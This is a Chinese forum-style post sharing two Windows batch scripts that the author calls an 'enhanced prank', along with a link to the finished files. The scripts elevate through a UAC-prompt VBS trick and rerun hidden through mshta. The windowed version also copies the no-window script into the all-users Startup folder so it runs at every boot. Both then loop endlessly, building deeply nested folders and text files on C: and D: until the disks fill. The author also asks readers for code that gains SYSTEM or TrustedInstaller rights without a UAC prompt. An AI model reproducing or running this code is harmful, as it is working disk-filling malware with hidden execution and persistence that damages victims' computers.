关于前一次恶作剧代码的加强:在保留前一次代码原有功能不变的基础上,进行了精简,同时增加了一些新的功能。
使用方法:第一种、单独使用 ezj 无窗口.bat 或 单独使用 ezj 有窗口.bat ;第二种、两种都保存在同一目录下,然后运行 ezj 有窗口.bat 。第二种方法在第一次运行后会自动开机运行!!!!!!
一、有 UAC 弹出窗口,要手动点击
@
echo off
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
goto UACPrompt
) else ( goto gotAdmin )
:UACPrompt
echo Set UAC = CreateObject^("Shell.Application"^) > "%temp%\getadmin.vbs"
echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
"%temp%\getadmin.vbs"
exit /B
:gotAdmin
if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
pushd "%CD%"
CD /D "%~dp0"
title ezj 有窗口加强版
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
copy ezj 无窗口加强版.bat "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
set vm=3000
set vn=1
:main
for /l %%a in (1,1,%vm%) do (
for /l %%b in (1,1,%vm%) do (
for /l %%c in (1,1,%vm%) do (
for /l %%d in (1,1,%vm%) do (
for /l %%e in (1,1,%vm%) do (
for /l %%f in (1,1,%vm%) do (
for /l %%g in (1,1,%vm%) do (
for /l %%h in (1,1,%vm%) do (
for /l %%i in (1,1,%vm%) do (
for /l %%j in (1,1,%vm%) do (
for /l %%k in (1,1,%vm%) do (
for /l %%l in (1,1,%vm%) do (
for /l %%m in (1,1,%vm%) do (
for /l %%n in (1,1,%vm%) do (
for /l %%o in (1,1,%vm%) do (
for /l %%p in (1,1,%vm%) do (
for /l %%q in (1,1,%vm%) do (
for /l %%r in (1,1,%vm%) do (
for /l %%s in (1,1,%vm%) do (
for /l %%t in (1,1,%vm%) do (
for /l %%u in (1,1,%vm%) do (
for /l %%v in (1,1,%vm%) do (
for /l %%w in (1,1,%vm%) do (
for /l %%x in (1,1,%vm%) do (
for /l %%y in (1,1,%vm%) do (
for /l %%z in (1,1,%vm%) do (
for /l %%A in (1,1,%vm%) do (
for /l %%B in (1,1,%vm%) do (
for /l %%C in (1,1,%vm%) do (
for /l %%D in (1,1,%vm%) do (
for /l %%E in (1,1,%vm%) do (
for /l %%F in (1,1,%vm%) do (
for /l %%G in (1,1,%vm%) do (
for /l %%H in (1,1,%vm%) do (
for /l %%I in (1,1,%vm%) do (
for /l %%J in (1,1,%vm%) do (
for /l %%K in (1,1,%vm%) do (
for /l %%L in (1,1,%vm%) do (
for /l %%M in (1,1,%vm%) do (
for /l %%N in (1,1,%vm%) do (
for /l %%O in (1,1,%vm%) do (
for /l %%P in (1,1,%vm%) do (
for /l %%Q in (1,1,%vm%) do (
for /l %%R in (1,1,%vm%) do (
for /l %%S in (1,1,%vm%) do (
for /l %%T in (1,1,%vm%) do (
for /l %%U in (1,1,%vm%) do (
for /l %%V in (1,1,%vm%) do (
for /l %%W in (1,1,%vm%) do (
for /l %%X in (1,1,%vm%) do (
for /l %%Y in (1,1,%vm%) do (
for /l %%Z in (1,1,%vm%) do (
md "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
tree >"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
set /a vn=vn+1
goto main
二、运行后无 UAC 窗口
@
echo off
title ezj 无窗口加强版
%1 mshta vbscript:CreateObject("WScript.Shell").Run("%~s0 ::",0,FALSE)(window.close)&&exit
set vm=3000
set vn=1
:main
for /l %%a in (1,1,%vm%) do (
for /l %%b in (1,1,%vm%) do (
for /l %%c in (1,1,%vm%) do (
for /l %%d in (1,1,%vm%) do (
for /l %%e in (1,1,%vm%) do (
for /l %%f in (1,1,%vm%) do (
for /l %%g in (1,1,%vm%) do (
for /l %%h in (1,1,%vm%) do (
for /l %%i in (1,1,%vm%) do (
for /l %%j in (1,1,%vm%) do (
for /l %%k in (1,1,%vm%) do (
for /l %%l in (1,1,%vm%) do (
for /l %%m in (1,1,%vm%) do (
for /l %%n in (1,1,%vm%) do (
for /l %%o in (1,1,%vm%) do (
for /l %%p in (1,1,%vm%) do (
for /l %%q in (1,1,%vm%) do (
for /l %%r in (1,1,%vm%) do (
for /l %%s in (1,1,%vm%) do (
for /l %%t in (1,1,%vm%) do (
for /l %%u in (1,1,%vm%) do (
for /l %%v in (1,1,%vm%) do (
for /l %%w in (1,1,%vm%) do (
for /l %%x in (1,1,%vm%) do (
for /l %%y in (1,1,%vm%) do (
for /l %%z in (1,1,%vm%) do (
for /l %%A in (1,1,%vm%) do (
for /l %%B in (1,1,%vm%) do (
for /l %%C in (1,1,%vm%) do (
for /l %%D in (1,1,%vm%) do (
for /l %%E in (1,1,%vm%) do (
for /l %%F in (1,1,%vm%) do (
for /l %%G in (1,1,%vm%) do (
for /l %%H in (1,1,%vm%) do (
for /l %%I in (1,1,%vm%) do (
for /l %%J in (1,1,%vm%) do (
for /l %%K in (1,1,%vm%) do (
for /l %%L in (1,1,%vm%) do (
for /l %%M in (1,1,%vm%) do (
for /l %%N in (1,1,%vm%) do (
for /l %%O in (1,1,%vm%) do (
for /l %%P in (1,1,%vm%) do (
for /l %%Q in (1,1,%vm%) do (
for /l %%R in (1,1,%vm%) do (
for /l %%S in (1,1,%vm%) do (
for /l %%T in (1,1,%vm%) do (
for /l %%U in (1,1,%vm%) do (
for /l %%V in (1,1,%vm%) do (
for /l %%W in (1,1,%vm%) do (
for /l %%X in (1,1,%vm%) do (
for /l %%Y in (1,1,%vm%) do (
for /l %%Z in (1,1,%vm%) do (
md "C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
md "D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%"
tree >"C:\ProgramData\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"
tree >"D:\%%Z\%%Y\%%X\%%W\%%V\%%U\%%T\%%S\%%R\%%Q\%%P\%%O\%%N\%%M\%%L\%%K\%%J\%%I\%%H\%%G\%%F\%%E\%%D\%%C\%%B\%%A\%%z\%%y\%%x\%%w\%%v\%%u\%%t\%%s\%%r\%%q\%%p\%%o\%%n\%%m\%%l\%%k\%%j\%%i\%%h\%%g\%%f\%%e\%%d\%%c\%%b\%%a\%vn%\%vn%%%o.txt"))))))))))))))))))))))))))))))))))))))))))))))))))))
set /a vn=vn+1
goto main
说明及改进:运行时间足够长后会得到共 54 级,前 52 级各有 vm 个文件夹,第 53 级的文件夹随运行时间不断增加,第 54 级是 txt 文件,类似于套娃结构。vm 是前 52 级每级下文件夹的个数,可自定义,自定义方法是修改 ezj 无窗口加强版.bat 第 4 行或 ezj 有窗口加强版.bat 第 18 行中 vm 的数字,我设置的是 3000,可随个人喜好修改。加强版还有进一步加强的地方,比如增加检测硬盘分区的功能,检测存在的所有分区并写入文件;由于语法限制最多只有 52 级确定的文件夹,通过语法改进增加级数;但目前最迫切的是 bat 获得 system 或 TrustedInstaller 权限的代码,通过在 bat 前几行加入这些代码,就可以实现在 c 盘下所有目录写入文件而不被拒绝,同时能够把这两种代码合二为一,取消 uac 弹窗等,还请知道的能够告知。
最后附上成品: https://c-t.work/s/46c154bcea1549